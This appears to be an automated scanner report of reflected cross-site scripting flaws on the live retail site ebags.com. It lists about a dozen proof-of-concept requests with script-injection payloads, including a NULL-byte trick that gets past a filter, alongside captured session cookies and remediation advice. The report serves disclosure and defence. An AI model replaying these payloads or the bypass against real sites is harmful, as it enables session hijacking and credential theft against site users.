Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www.ebags.com/ [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ebags.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31c8f"><script>alert(1)</script>d599cc43ed4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?31c8f"><script>alert(1)</script>d599cc43ed4=1 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:04:08 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:04:08 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 75114
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <input type="Hidden" name="destination" value="http://www.ebags.com/index.cfm?31c8f"><script>alert(1)</script>d599cc43ed4=1&quicksignlink=pageend"> ...[SNIP]...
1.2. http://www.ebags.com/brands/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ebags.com
Path:
/brands/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 517fa"><script>alert(1)</script>c9c47396fe9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /brands/index.cfm?517fa"><script>alert(1)</script>c9c47396fe9=1 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:06:56 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:06:56 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 280296
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <input type="Hidden" name="destination" value="http://www.ebags.com/brands/index.cfm?517fa"><script>alert(1)</script>c9c47396fe9=1&quicksignlink=pageend"> ...[SNIP]...
The value of the sub_site_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 923c4"><script>alert(1)</script>1dc246df464 was submitted in the sub_site_id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /brands/index.cfm?sub_site_id=49923c4"><script>alert(1)</script>1dc246df464 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:07:00 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:07:00 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 43301
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <input type="Hidden" name="destination" value="http://www.ebags.com/brands/index.cfm?sub_site_id=49923c4"><script>alert(1)</script>1dc246df464&quicksignlink=pageend"> ...[SNIP]...
1.4. http://www.ebags.com/help/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ebags.com
Path:
/help/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e296c"><script>alert(1)</script>1333b400c65 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /help/?e296c"><script>alert(1)</script>1333b400c65=1 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:05:27 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID%3D40959822; expires=Sun, 02-Jan-2011 14:05:27 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 47241
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <input type="Hidden" name="destination" value="http://www.ebags.com/help/index.cfm?e296c"><script>alert(1)</script>1333b400c65=1&quicksignlink=pageend"> ...[SNIP]...
The value of the HelpCenter_Link request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81f28"><script>alert(1)</script>552f3115918 was submitted in the HelpCenter_Link parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /help/index.cfm?fuseaction=suggest&HelpCenter_Link=Suggestions81f28"><script>alert(1)</script>552f3115918 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:05:38 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID%3D40959822; expires=Sun, 02-Jan-2011 14:05:38 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 45466
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <input type="Hidden" name="destination" value="http://www.ebags.com/help/index.cfm?fuseaction=suggest&HelpCenter_Link=Suggestions81f28"><script>alert(1)</script>552f3115918&quicksignlink=pageend"> ...[SNIP]...
1.6. http://www.ebags.com/help/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ebags.com
Path:
/help/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 43aea"><script>alert(1)</script>e2a6fc36772 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /help/index.cfm?43aea"><script>alert(1)</script>e2a6fc36772=1 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:05:03 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID%3D40959822CB96B272DALERT281292D27C04ABDB9AA2; expires=Sun, 02-Jan-2011 14:05:03 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 47279
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <input type="Hidden" name="destination" value="http://www.ebags.com/help/index.cfm?43aea"><script>alert(1)</script>e2a6fc36772=1&quicksignlink=pageend"> ...[SNIP]...
1.7. http://www.ebags.com/members/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ebags.com
Path:
/members/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dda0a"><script>alert(1)</script>9e2f7f5dbc0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /members/index.cfm?dda0a"><script>alert(1)</script>9e2f7f5dbc0=1 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:03:56 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:03:56 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 45916
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <input type="Hidden" name="destination" value="http://www.ebags.com/members/index.cfm?dda0a"><script>alert(1)</script>9e2f7f5dbc0=1&quicksignlink=pageend"> ...[SNIP]...
The value of the &sourceID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 89008"-alert(1)-"e04fbf12b01 was submitted in the &sourceID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /product/case-logic/sony-psp-game-case/120830?&sourceID=BECOME01$couponid=40959822productid=89008"-alert(1)-"e04fbf12b01 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:04:05 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID%3D40959822PRODUCTID%3D89008%2DALERT%281%29%2DE04FBF12B01; expires=Sun, 02-Jan-2011 14:04:05 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 76521
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h ...[SNIP]... hfComparisonChartSkuId").get(0).value=skuid;$("#hfComparisonReturnUrl").get(0).value="http://www.ebags.com:80/product/case-logic/sony-psp-game-case/120830?&sourceID=BECOME01$couponid=40959822productid=89008"-alert(1)-"e04fbf12b01productid="+skuid;});(function($,eBags){var txtPostalCode=$("#txtPostalCode"),divEddResult=$("#divEddResult"),divEddError=$("#divEddError"),divEddProcessing=$("#divEddProcessing") doneProcessing=false, ...[SNIP]...
1.9. http://www.ebags.com/product/case-logic/sony-psp-game-case/120830 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ebags.com
Path:
/product/case-logic/sony-psp-game-case/120830
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %00e855f"-alert(1)-"ff69dd32d95 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as e855f"-alert(1)-"ff69dd32d95 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /product/case-logic/sony-psp-game-case/120830?&sourceID=BECOME01$couponid=40959822productid=&%00e855f"-alert(1)-"ff69dd32d95=1 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:05:05 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID%3D40959822PRODUCTID%3D; expires=Sun, 02-Jan-2011 14:05:05 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 76567
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h ...[SNIP]... mparisonChartSkuId").get(0).value=skuid;$("#hfComparisonReturnUrl").get(0).value="http://www.ebags.com:80/product/case-logic/sony-psp-game-case/120830?&sourceID=BECOME01$couponid=40959822productid=&%00e855f"-alert(1)-"ff69dd32d95=1productid="+skuid;});(function($,eBags){var txtPostalCode=$("#txtPostalCode"),divEddResult=$("#divEddResult"),divEddError=$("#divEddError"),divEddProcessing=$("#divEddProcessing") doneProcessing=fals ...[SNIP]...
1.10. http://www.ebags.com/product/case-logic/sony-psp-game-case/120830 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ebags.com
Path:
/product/case-logic/sony-psp-game-case/120830
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 22488"-alert(1)-"de7d1c87b4f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /product/case-logic/sony-psp-game-case/120830?productid=1312640&sourceID=BECOME01$couponid=40959822&22488"-alert(1)-"de7d1c87b4f=1 HTTP/1.1 Host: www.ebags.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the productid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aa886"-alert(1)-"8f11ec469ac was submitted in the productid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /product/case-logic/sony-psp-game-case/120830?productid=1312640aa886"-alert(1)-"8f11ec469ac&sourceID=BECOME01$couponid=40959822 HTTP/1.1 Host: www.ebags.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the sourceID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 93fa1"-alert(1)-"0e3d8adb254 was submitted in the sourceID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
